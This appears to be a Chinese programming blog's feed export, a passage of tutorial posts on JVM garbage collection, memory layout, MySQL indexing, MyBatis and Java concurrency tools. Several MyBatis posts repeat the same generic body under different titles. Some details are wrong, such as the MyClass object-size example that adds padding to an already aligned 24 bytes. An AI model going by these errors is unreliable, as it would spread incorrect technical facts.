-XX:+UseG1GC
-XX:MaxGCPauseMillis=200       # 目标最大停顿时间
-XX:G1HeapRegionSize=16m       # Region大小
-XX:InitiatingHeapOccupancyPercent=45  # 堆占用45%时触发并发标记

6. ZGC / Shenandoah（低延迟）

JDK 11+（ZGC）和 JDK 12+（Shenandoah）。

目标：TB 级堆内存下停顿时间 < 10ms。

-XX:+UseZGC
-XX:+UseShenandoahGC

收集器对比

收集器算法目标适用场景
Serial复制/整理简单高效单核、小内存
ParNew复制降低停顿配合CMS
Parallel Scavenge复制/整理高吞吐量后台计算
CMS标记-清除低停顿Web应用
G1复制/整理平衡大堆内存
ZGC复制超低停顿大堆、低延迟

组合关系

新生代              老年代
─────────────────────────────
Serial      +     Serial Old
ParNew      +     CMS
Parallel Scavenge + Parallel Old
G1（同时管理新生代和老年代）
ZGC（同时管理）

选择建议

场景推荐
单核/小内存（<100MB）Serial
多核、追求吞吐量Parallel Scavenge
Web应用、追求低延迟CMS / G1
大堆内存（>6G）G1
超大堆、极低延迟要求ZGC
JDK 9+G1（默认）

总结

算法优点缺点
标记-清除简单碎片
复制高效无碎片空间减半
标记-整理无碎片移动对象开销

没有最好的收集器，只有最合适的收集器。根据应用特点（延迟敏感 vs 吞吐量优先）和 JDK 版本选择合适的收集器。

]]> JVM 学习笔记 JVM MySQL 索引设计的几个核心原则 //mysql-suo-yin-she-ji-de-ji-ge-he-xin-yuan-ze/ MySQL 索引设计的几个核心原则

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL SQL MySQL优化 对象创建与内存分配策略 //dui-xiang-chuang-jian-yu-nei-cun-fen-pei-ce-lue/ 对象创建与内存分配策略

Java 对象的创建看似简单，但 JVM 内部经历了复杂的流程。理解这个过程有助于优化内存使用和排查问题。

对象创建流程

new关键字
    |
    v
类加载检查 -> 是否已加载？
    |否
    v
加载 -> 验证 -> 准备 -> 解析 -> 初始化
    |
    v
内存分配（堆）
    |
    v
零值初始化
    |
    v
设置对象头
    |
    v
执行<init>构造方法
    |
    v
对象创建完成

1. 类加载检查

User user = new User();

JVM 执行到 new 指令时：

  1. 检查 User 是否已被加载
  2. 未加载则执行类加载流程
  3. 检查类是否 abstract/interface（不能实例化）

2. 内存分配方式

指针碰撞（Bump the Pointer）

适用场景：堆内存规整（Serial、ParNew 等带 Compact 的收集器）。

已使用    |  空闲
████████|▶ 分配指针移动
        ↑
    碰撞指针

分配方式：将指针向空闲方向移动对象大小的距离。

空闲列表（Free List）

适用场景：堆内存不规整（CMS 等基于 Mark-Sweep 的收集器）。

已使用  空闲  已使用  空闲  已使用
███████  ███  ██████  ██████  ████
        ↑
    从空闲列表找合适块

分配方式：从空闲列表中找到足够大的内存块分配。

3. 线程安全问题

问题

多个线程同时分配内存，可能产生冲突。

解决方案

方案1：CAS + 重试

// 采用CAS保证原子性
while (CAS(top, top + size)) {
    // 分配成功
}

方案2：TLAB（Thread Local Allocation Buffer）

-XX:+UseTLAB        # 启用TLAB（默认开启）
-XX:TLABSize=256k   # 设置TLAB大小
线程A的TLAB        线程B的TLAB        共享Eden区
┌──────────┐      ┌──────────┐      ┌──────────┐
│ 分配中... │      │ 分配中... │      │          │
└──────────┘      └──────────┘      └──────────┘

先在TLAB分配，TLAB满了再在共享区分配（需同步）

4. 对象内存布局

对象头（Header）

┌─────────────────────────────────────────┐
│              对象头（64位JVM）           │
├─────────────────────────────────────────┤
│  Mark Word（64bit）                      │
│  ├─ hashCode: 31bit                     │
│  ├─ GC年龄: 4bit                        │
│  ├─ 偏向锁标记: 1bit                     │
│  ├─ 锁状态: 2bit                        │
│  └─ 其他: 26bit                         │
├─────────────────────────────────────────┤
│  Class Metadata Address（64bit）         │
│  （压缩后32bit，UseCompressedOops）      │
├─────────────────────────────────────────┤
│  Array Length（仅数组有，32bit）         │
└─────────────────────────────────────────┘

实例数据（Instance Data）

字段存储顺序：

  1. long/double
  2. int/float
  3. short/char
  4. byte/boolean
  5. 引用类型

对齐填充：对象大小必须是 8 字节的整数倍。

对象大小计算

// 64位JVM，开启压缩指针
Object obj = new Object();
// Mark Word: 8 bytes
// Class Pointer: 4 bytes
// Padding: 4 bytes
// 总大小: 16 bytes

public class MyClass {
    int a;      // 4 bytes
    long b;     // 8 bytes
}
// Mark Word: 8
// Class Pointer: 4
// int a: 4
// long b: 8
// Padding: 4
// 总大小: 32 bytes

5. 指针压缩（Compressed Oops）

原理

-XX:+UseCompressedOops      # 开启压缩指针（默认开启，堆<32G）
-XX:+UseCompressedClassPointers  # 压缩类指针

64 位 JVM 中，对象引用从 8 字节压缩到 4 字节：

未压缩：0x0000000123456789（8字节）
压缩后：0x23456789（4字节）+ 基地址偏移

为什么堆小于 32G 才能压缩？

  • 4 字节最多表示 2^32 = 4G
  • 对象按 8 字节对齐，可表示 4G * 8 = 32G
  • 超过 32G，指针压缩失效，对象引用回到 8 字节

注意：堆设置在 32G~48G 之间是浪费的（指针不压缩但性能下降），建议超过 32G 直接设到 48G 以上。

6. 内存分配策略

对象优先在 Eden 分配

byte[] allocation = new byte[2 * 1024 * 1024];  // 2MB，在Eden分配

大对象直接进入老年代

-XX:PretenureSizeThreshold=4m  # 大于4MB的对象直接进老年代

注意：该参数只对 Serial 和 ParNew 收集器有效。

长期存活对象进入老年代

-XX:MaxTenuringThreshold=15  # 晋升年龄阈值（默认15）

对象每经历一次 Minor GC，年龄加 1，达到阈值晋升。

动态对象年龄判定

Survivor 区中相同年龄的所有对象大小总和超过 Survivor 空间的一半，年龄大于等于该年龄的对象直接进入老年代。

空间分配担保

Minor GC 之前，检查老年代最大可用连续空间是否大于年轻代所有对象总空间：

  • 大于：Minor GC 安全
  • 小于：检查是否允许担保失败
    • 允许：检查老年代可用空间是否大于历次晋升平均大小
    • 不允许：Full GC
-XX:+HandlePromotionFailure  # JDK6后默认允许担保失败

7. 逃逸分析

概念

分析对象动态作用域，判断对象是否逃逸出方法/线程。

优化手段

栈上分配：未逃逸的对象在栈上分配，随方法结束自动销毁。

public void method() {
    User user = new User();  // user未逃逸出方法
    user.setName("test");
    // user可以在栈上分配
}

标量替换：将对象拆散为成员变量分配。

// 原始代码
Point point = new Point(1, 2);
int x = point.x;
int y = point.y;

// 优化后
int point_x = 1;
int point_y = 2;
int x = point_x;
int y = point_y;

同步消除：逃逸分析确定对象不会被其他线程访问，消除同步。

-XX:+DoEscapeAnalysis     # 开启逃逸分析（默认开启）
-XX:+EliminateAllocations # 开启标量替换

总结

知识点要点
分配方式指针碰撞 vs 空闲列表
线程安全TLAB + CAS
对象布局对象头 + 实例数据 + 对齐填充
指针压缩堆<32G时4字节引用
分配策略Eden -> Survivor -> Old
逃逸分析栈上分配、标量替换、同步消除

理解对象创建和内存分配，有助于写出内存友好的代码和进行 JVM 参数调优。

]]> JVM 学习笔记 JVM MyBatis 批量插入和性能优化 //mybatis-pi-liang-cha-ru-he-xing-neng-you-hua/ MyBatis 批量插入和性能优化

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis JVM内存区域划分与作用 //jvm-nei-cun-qu-yu-hua-fen-yu-zuo-yong/ JVM内存区域划分与作用

JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。

运行时数据区概览

┌─────────────────────────────────────────┐
│              线程私有区域                 │
│  ┌──────────┐ ┌──────────┐ ┌─────────┐ │
│  │程序计数器 │ │虚拟机栈  │ │本地方法栈│ │
│  └──────────┘ └──────────┘ └─────────┘ │
├─────────────────────────────────────────┤
│              线程共享区域                 │
│  ┌───────────────────────────────────┐  │
│  │              堆                    │  │
│  │  ┌─────────────┐ ┌─────────────┐  │  │
│  │  │    年轻代    │ │    老年代    │  │  │
│  │  │  Eden       │ │             │  │  │
│  │  │  Survivor0  │ │             │  │  │
│  │  │  Survivor1  │ │             │  │  │
│  │  └─────────────┘ └─────────────┘  │  │
│  └───────────────────────────────────┘  │
│  ┌───────────────────────────────────┐  │
│  │           方法区（元空间）          │  │
│  │  类信息、常量、静态变量、JIT代码    │  │
│  └───────────────────────────────────┘  │
│  ┌───────────────────────────────────┐  │
│  │          直接内存（堆外）           │  │
│  └───────────────────────────────────┘  │
└─────────────────────────────────────────┘

1. 程序计数器（Program Counter Register）

作用：当前线程执行的字节码行号指示器。

特点：

  • 线程私有，每个线程独立
  • 唯一不会发生 OOM 的区域
  • 执行 Java 方法时记录字节码地址，执行 Native 方法时为空
线程A的程序计数器: 0x0001 (执行到第1行)
线程B的程序计数器: 0x0010 (执行到第16行)

2. 虚拟机栈（VM Stack）

作用：描述 Java 方法执行的内存模型，每个方法执行时创建栈帧。

#

栈帧结构

┌─────────────────┐
│  局部变量表      │  存放基本类型和对象引用
├─────────────────┤
│  操作数栈        │  方法执行的工作区
├─────────────────┤
│  动态链接        │  指向运行时常量池的方法引用
├─────────────────┤
│  方法返回地址    │  方法执行完毕后的返回位置
├─────────────────┤
│  附加信息        │  调试信息等
└─────────────────┘

#

局部变量表

public void method(int a, int b) {
    int c = a + b;  // 局部变量表: [a, b, c]
    Object obj = new Object();  // 引用类型占1个slot
    long d = 100L;  // long/double占2个slot
}

#

常见问题：StackOverflowError

public void recursive() {
    recursive();  // 无限递归，栈溢出
}

解决：

  • 检查递归终止条件
  • 增加栈大小：-Xss512k

3. 本地方法栈（Native Method Stack）

作用：为 Native 方法服务。

特点：

  • 线程私有
  • HotSpot 中与虚拟机栈合二为一
  • 也会抛出 StackOverflowError 和 OOM

4. 堆（Heap）

作用：存放对象实例和数组，是 JVM 管理的最大内存区域。

#

堆内存划分

┌──────────────────────────────────────┐
│                堆                     │
│  ┌────────────────────────────────┐  │
│  │           年轻代 (Young)        │  │  -Xmn
│  │  ┌──────────────────────────┐  │  │
│  │  │        Eden (8/10)        │  │  │
│  │  ├──────────────────────────┤  │  │
│  │  │  Survivor0 (1/10)        │  │  │
│  │  ├──────────────────────────┤  │  │
│  │  │  Survivor1 (1/10)        │  │  │
│  │  └──────────────────────────┘  │  │
│  └────────────────────────────────┘  │
│  ┌────────────────────────────────┐  │
│  │         老年代 (Old)            │  │  -Xms - Xmn
│  └────────────────────────────────┘  │
└──────────────────────────────────────┘

#

对象分配与晋升

对象创建 -> Eden区
    |
    |-> Minor GC后存活 -> Survivor0
    |
    |-> 再次Minor GC -> Survivor1（复制算法，S0和S1交换）
    |
    |-> 年龄达到阈值（默认15）-> 老年代
    |
    |-> 大对象直接进入老年代

#

参数配置

-Xms512m        # 堆初始大小
-Xmx512m        # 堆最大大小（建议与初始值相同，避免扩容开销）
-Xmn128m        # 年轻代大小
-XX:NewRatio=2  # 老年代:年轻代 = 2:1
-XX:SurvivorRatio=8  # Eden:S0:S1 = 8:1:1

5. 方法区（Method Area）

作用：存储类信息、常量、静态变量、即时编译器编译后的代码。

#

JDK 8 之前：永久代（PermGen）

-XX:PermSize=64m      # 永久代初始大小
-XX:MaxPermSize=128m  # 永久代最大大小

#

JDK 8 及之后：元空间（Metaspace）

-XX:MetaspaceSize=128m      # 元空间初始大小
-XX:MaxMetaspaceSize=256m   # 元空间最大大小（默认无限制）

元空间与永久代的区别：

  • 永久代在 JVM 堆中，元空间使用本地内存
  • 元空间大小只受限于物理内存
  • 减少 Full GC 频率

#

方法区存储内容

方法区
├── 类型信息
│   ├── 类名、修饰符
│   ├── 父类、接口
│   └── 方法信息
├── 常量池
│   ├── 字面量（字符串、数字）
│   └── 符号引用
├── 字段信息
├── 方法信息
├── 静态变量
└── JIT编译后的代码

#

运行时常量池

String s1 = "hello";  // 放入字符串常量池
String s2 = "hello";  // 从常量池复用
String s3 = new String("hello");  // 堆中新建对象

System.out.println(s1 == s2);  // true
System.out.println(s1 == s3);  // false
System.out.println(s1 == s3.intern());  // true

6. 直接内存（Direct Memory）

作用：NIO 使用的堆外内存，避免 Java 堆与 Native 堆之间的数据复制。

// 分配直接内存
ByteBuffer buffer = ByteBuffer.allocateDirect(1024);

// Cleaner 管理内存释放

参数：

-XX:MaxDirectMemorySize=128m  # 直接内存上限

注意：直接内存不受 JVM 堆大小限制，但受物理内存限制，也可能导致 OOM。

内存溢出场景

区域OOM 场景错误信息
堆对象过多，无法回收Java heap space
元空间动态生成类过多Metaspace
虚拟机栈线程过多/递归过深unable to create new native thread
直接内存NIO 使用过多Direct buffer memory

总结

区域线程存储内容异常
程序计数器私有字节码行号无
虚拟机栈私有栈帧、局部变量StackOverflowError
本地方法栈私有Native方法StackOverflowError
堆共享对象实例OOM
方法区共享类信息、常量OOM
直接内存共享NIO缓冲区OOM

理解 JVM 内存区域，是进行内存调优和 OOM 问题排查的基础。

核心要点

  1. 堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域

  2. 栈内存是线程私有的，每个线程都有自己的栈空间

  3. 方法区（元空间）存储类信息、常量池等

  4. 常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError

总结

理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。

]]> JVM 学习笔记 JVM MyBatis 动态 SQL 的正确写法 //mybatis-dong-tai-sql-de-zheng-que-xie-fa/ MyBatis 动态 SQL 的正确写法

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis Java并发编程的常见问题总结 //java-bing-fa-bian-cheng-de-chang-jian-wen-ti-zong-jie/ Java并发编程的常见问题总结

并发编程是 Java 开发中最容易出问题的领域。本文总结常见并发问题及其解决方案。

1. 线程安全问题

竞态条件（Race Condition）

多个线程同时读写共享数据，结果取决于执行时序。

public class Counter {
    private int count = 0;
    
    // 线程不安全
    public void increment() {
        count++;  // 非原子操作
    }
}

解决方案：

// 方案1：synchronized
public synchronized void increment() { count++; }

// 方案2：Atomic
private AtomicInteger count = new AtomicInteger();
public void increment() { count.incrementAndGet(); }

// 方案3：LongAdder（高并发）
private LongAdder count = new LongAdder();
public void increment() { count.increment(); }

可见性问题

一个线程修改了变量，其他线程看不到最新值。

public class VisibilityIssue {
    private boolean flag = false;  // 无volatile
    
    public void writer() {
        flag = true;
    }
    
    public void reader() {
        while (!flag) {  // 可能永远循环！
            // ...
        }
    }
}

解决方案：

private volatile boolean flag = false;  // 保证可见性

2. 死锁（Deadlock）

互相等待

public class Deadlock {
    private final Object lock1 = new Object();
    private final Object lock2 = new Object();
    
    public void methodA() {
        synchronized (lock1) {
            synchronized (lock2) {  // 等待methodB释放lock2
                // ...
            }
        }
    }
    
    public void methodB() {
        synchronized (lock2) {
            synchronized (lock1) {  // 等待methodA释放lock1
                // ...
            }
        }
    }
}

死锁的四个必要条件

  1. 互斥：资源一次只能被一个线程持有
  2. 占有且等待：持有资源的同时等待其他资源
  3. 不可抢占：资源只能主动释放
  4. 循环等待：形成等待环路

解决方案

// 方案1：统一加锁顺序
public void methodA() {
    Object first = lock1.hashCode() < lock2.hashCode() ? lock1 : lock2;
    Object second = lock1.hashCode() < lock2.hashCode() ? lock2 : lock1;
    synchronized (first) {
        synchronized (second) {
            // ...
        }
    }
}

// 方案2：使用tryLock（带超时）
public void safeMethod() {
    boolean lock1Acquired = lock1.tryLock(1, TimeUnit.SECONDS);
    if (lock1Acquired) {
        try {
            boolean lock2Acquired = lock2.tryLock(1, TimeUnit.SECONDS);
            if (lock2Acquired) {
                try {
                    // ...
                } finally {
                    lock2.unlock();
                }
            }
        } finally {
            lock1.unlock();
        }
    }
}

// 方案3：使用并发工具类替代锁
ConcurrentHashMap<String, Object> map = new ConcurrentHashMap<>();

死锁排查

# 1. 找到Java进程
jps -l

# 2. 打印线程堆栈
jstack -l <pid> > thread_dump.txt

# 3. 查找死锁
jstack -l <pid> | grep -A 50 "Found one Java-level deadlock"

3. 活锁（Livelock）

线程不断响应对方的行为，但无法继续执行。

public class Livelock {
    private boolean active = false;
    
    public void cooperate(Livelock other) {
        while (!active) {
            if (other.isActive()) {
                // 让对方先执行
                doSomething();
            } else {
                active = true;
            }
        }
    }
}

解决方案：引入随机等待。

Thread.sleep((long)(Math.random() * 100));

4. 饥饿（Starvation）

某些线程长期得不到执行机会。

原因：

  • 高优先级线程抢占所有 CPU
  • 非公平锁导致某些线程总是失败

解决方案：

// 使用公平锁
ReentrantLock fairLock = new ReentrantLock(true);

// 使用公平信号量
Semaphore fairSemaphore = new Semaphore(10, true);

5. 伪共享（False Sharing）

多个线程修改不同变量，但这些变量在同一缓存行。

public class FalseSharing {
    // 同一缓存行（64字节）
    volatile long value1;
    volatile long value2;
}

// 线程A频繁修改value1
// 线程B频繁修改value2
// 结果：缓存行频繁失效，性能下降

解决方案：

// JDK 8+ 使用@Contended
public class PaddedValue {
    @sun.misc.Contended
    volatile long value1;
    
    @sun.misc.Contended
    volatile long value2;
}

// 或手动填充
public class ManualPadding {
    long p1, p2, p3, p4, p5, p6, p7;  // 填充
    volatile long value;
    long p8, p9, p10, p11, p12, p13, p14;  // 填充
}

6. ThreadLocal 内存泄漏

public class MemoryLeak {
    private static final ThreadLocal<byte[]> buffer = new ThreadLocal<>();
    
    public void process() {
        buffer.set(new byte[1024 * 1024 * 100]);  // 100MB
        // ...
        // 忘记remove()！
    }
}

解决方案：

try {
    buffer.set(value);
    // ...
} finally {
    buffer.remove();  // 必须清理
}

7. 并发修改异常

List<String> list = new ArrayList<>();
list.add("a");
list.add("b");

for (String s : list) {
    if (s.equals("a")) {
        list.remove(s);  // ConcurrentModificationException！
    }
}

解决方案：

// 方案1：使用Iterator
Iterator<String> it = list.iterator();
while (it.hasNext()) {
    if (it.next().equals("a")) {
        it.remove();
    }
}

// 方案2：使用removeIf（Java 8+）
list.removeIf(s -> s.equals("a"));

// 方案3：使用并发集合
CopyOnWriteArrayList<String> safeList = new CopyOnWriteArrayList<>();

8. 线程池滥用

问题1：无限创建线程

// 错误！每次调用都创建新线程池
public void process() {
    ExecutorService executor = Executors.newFixedThreadPool(10);
    // ...
}

问题2：使用Executors创建无界队列

// 危险！无界队列会OOM
ExecutorService executor = Executors.newFixedThreadPool(100);

问题3：不关闭线程池

// 错误！线程不回收
ExecutorService executor = Executors.newFixedThreadPool(10);
executor.submit(() -> { ... });
// 没有shutdown()

正确做法：

// 使用单例线程池
private static final ThreadPoolExecutor EXECUTOR = new ThreadPoolExecutor(
    4, 8, 60, TimeUnit.SECONDS,
    new ArrayBlockingQueue<>(100),
    new ThreadFactoryBuilder().setNameFormat("pool-%d").build(),
    new ThreadPoolExecutor.CallerRunsPolicy()
);

// 应用关闭时
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
    EXECUTOR.shutdown();
    try {
        if (!EXECUTOR.awaitTermination(60, TimeUnit.SECONDS)) {
            EXECUTOR.shutdownNow();
        }
    } catch (InterruptedException e) {
        EXECUTOR.shutdownNow();
    }
}));

9. 并发集合的复合操作

ConcurrentHashMap<String, String> map = new ConcurrentHashMap<>();

// 错误！不是原子操作
if (!map.containsKey("key")) {
    map.put("key", "value");
}

// 正确
map.putIfAbsent("key", "value");

// 或
map.computeIfAbsent("key", k -> createValue());

10. 总结检查清单

  • 共享变量是否加了 volatile/synchronized/Atomic？
  • 是否存在锁嵌套？是否有死锁风险？
  • ThreadLocal 使用完是否 remove()？
  • 线程池是否有界？是否正确关闭？
  • 集合遍历是否使用了并发修改安全的方式？
  • 复合操作是否使用了原子方法？
  • 是否测试过多线程场景？

并发问题往往难以复现和调试，预防胜于治疗。遵循最佳实践，使用成熟的并发工具类，是避免并发 Bug 的根本之道。

]]> Java并发 Java 并发 MyBatis 一级缓存和二级缓存怎么理解 //mybatis-yi-ji-huan-cun-he-er-ji-huan-cun-zen-me-li-jie/ MyBatis 一级缓存和二级缓存怎么理解

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

一个 Mapper 示例

public interface UserMapper {
    User selectById(@Param("id") Long id);
}

对应 XML：

<select id="selectById" resultType="com.example.User">
  select id, username, email
  from user
  where id = #{id}
</select>

注意这里用的是 #{id}，它会走预编译参数。不要把用户输入直接用 ${id} 拼进 SQL。

动态 SQL 的写法

查询条件可选时，可以用 if：

<select id="list" resultType="com.example.User">
  select id, username, email from user
  <where>
    <if test="username != null and username != ''">
      and username = #{username}
    </if>
  </where>
</select>

where 标签会自动处理多余的 and，避免拼接错误。

验证方式

打开 SQL 日志，确认最终执行的 SQL 和参数符合预期。复杂查询最好配合 EXPLAIN 看索引是否命中。

核心要点

  1. 动态 SQL 的常用标签：if、where、choose、foreach

  2. 一级缓存和二级缓存的区别及使用场景

  3. 参数处理：#{} 和 ${} 的区别，防止 SQL 注入

  4. 批量操作的优化：使用 foreach 或 ExecutorType.BATCH

总结

MyBatis 是一个灵活的 ORM 框架，掌握它的核心特性可以提升开发效率。在实际项目中，合理使用缓存和批量操作可以显著提升性能。

]]> MyBatis JAVA MyBatis 并发工具类CountDownLatch与CyclicBarrier //bing-fa-gong-ju-lei-countdownlatch-yu-cyclicbarrier/ 并发工具类CountDownLatch与CyclicBarrier

Java 并发包提供了多种同步工具类，用于协调多个线程的执行。本文重点讲解 CountDownLatch、CyclicBarrier 和 Semaphore。

CountDownLatch：倒计时门闩

核心思想

一个或多个线程等待其他线程完成一组操作。

public class CountDownLatchExample {
    public static void main(String[] args) throws InterruptedException {
        int workerCount = 3;
        CountDownLatch latch = new CountDownLatch(workerCount);
        
        for (int i = 0; i < workerCount; i++) {
            final int id = i;
            new Thread(() -> {
                System.out.println("Worker " + id + " 开始工作");
                try {
                    Thread.sleep((id + 1) * 1000);
                } catch (InterruptedException e) {}
                System.out.println("Worker " + id + " 完成工作");
                latch.countDown();  // 计数减1
            }).start();
        }
        
        System.out.println("等待所有工作线程完成...");
        latch.await();  // 阻塞，直到计数为0
        System.out.println("所有工作线程已完成！");
    }
}

典型应用场景

1. 主线程等待子线程完成

public class DataLoader {
    public void load() throws InterruptedException {
        CountDownLatch latch = new CountDownLatch(3);
        
        // 并行加载三类数据
        new Thread(() -> { loadUser(); latch.countDown(); }).start();
        new Thread(() -> { loadOrder(); latch.countDown(); }).start();
        new Thread(() -> { loadProduct(); latch.countDown(); }).start();
        
        latch.await();  // 等待全部加载完成
        System.out.println("所有数据加载完成，开始处理");
    }
}

2. 多服务并行调用

public class AggregateService {
    public AggregateResult fetch() throws InterruptedException {
        CountDownLatch latch = new CountDownLatch(3);
        AtomicReference<User> userRef = new AtomicReference<>();
        AtomicReference<Order> orderRef = new AtomicReference<>();
        
        executor.execute(() -> {
            userRef.set(userService.fetch());
            latch.countDown();
        });
        executor.execute(() -> {
            orderRef.set(orderService.fetch());
            latch.countDown();
        });
        executor.execute(() -> {
            inventoryRef.set(inventoryService.fetch());
            latch.countDown();
        });
        
        latch.await(5, TimeUnit.SECONDS);  // 最多等5秒
        return new AggregateResult(userRef.get(), orderRef.get(), ...);
    }
}

实现原理

public class CountDownLatch {
    private static final class Sync extends AbstractQueuedSynchronizer {
        Sync(int count) {
            setState(count);  // state = 计数器
        }
        
        protected int tryAcquireShared(int acquires) {
            return (getState() == 0) ? 1 : -1;  // state为0才成功
        }
        
        protected boolean tryReleaseShared(int releases) {
            for (;;) {
                int c = getState();
                if (c == 0) return false;
                int nextc = c - 1;
                if (compareAndSetState(c, nextc))
                    return nextc == 0;
            }
        }
    }
}

关键：基于 AQS 的共享模式，state 减到 0 时唤醒所有等待线程。

CyclicBarrier：循环栅栏

核心思想

一组线程互相等待，到达屏障后被阻塞，直到最后一个线程到达，然后一起放行。

public class CyclicBarrierExample {
    public static void main(String[] args) {
        int count = 3;
        CyclicBarrier barrier = new CyclicBarrier(count, () -> {
            System.out.println("所有线程已到达屏障，放行！");
        });
        
        for (int i = 0; i < count; i++) {
            final int id = i;
            new Thread(() -> {
                try {
                    System.out.println("Thread " + id + " 到达屏障");
                    barrier.await();  // 等待其他线程
                    System.out.println("Thread " + id + " 继续执行");
                } catch (Exception e) {}
            }).start();
        }
    }
}

与 CountDownLatch 的区别

特性CountDownLatchCyclicBarrier
计数方向递减到0递增到指定值
重用性一次性可循环使用
等待方一个或多个线程等待所有线程互相等待
动作无回调可指定回调
异常无可 broken

循环使用

public class Race {
    private final CyclicBarrier barrier = new CyclicBarrier(3);
    
    public void round() {
        for (int i = 0; i < 3; i++) {  // 3轮比赛
            new Thread(() -> {
                try {
                    prepare();   // 准备
                    barrier.await();
                    race();      // 起跑
                    barrier.await();
                    rest();      // 休息
                } catch (Exception e) {}
            }).start();
        }
    }
}

broken 处理

try {
    barrier.await();
} catch (BrokenBarrierException e) {
    // 其他线程中断或超时，屏障被打破
    System.out.println("屏障被打破");
}

Semaphore：信号量

核心思想

控制同时访问某资源的线程数量。

public class SemaphoreExample {
    public static void main(String[] args) {
        // 同时允许3个线程访问
        Semaphore semaphore = new Semaphore(3);
        
        for (int i = 0; i < 10; i++) {
            new Thread(() -> {
                try {
                    semaphore.acquire();  // 获取许可
                    System.out.println(Thread.currentThread().getName() + " 获取许可");
                    Thread.sleep(2000);
                } catch (InterruptedException e) {
                } finally {
                    semaphore.release();  // 释放许可
                    System.out.println(Thread.currentThread().getName() + " 释放许可");
                }
            }).start();
        }
    }
}

应用场景

1. 限流

public class RateLimiter {
    private final Semaphore semaphore;
    
    public RateLimiter(int qps) {
        this.semaphore = new Semaphore(qps);
        // 定时释放
        ScheduledExecutorService executor = Executors.newScheduledThreadPool(1);
        executor.scheduleAtFixedRate(() -> {
            semaphore.release(qps - semaphore.availablePermits());
        }, 1, 1, TimeUnit.SECONDS);
    }
    
    public void acquire() throws InterruptedException {
        semaphore.acquire();
    }
}

2. 资源池

public class ConnectionPool {
    private final Semaphore semaphore;
    private final BlockingQueue<Connection> pool;
    
    public ConnectionPool(int size) {
        semaphore = new Semaphore(size);
        pool = new ArrayBlockingQueue<>(size);
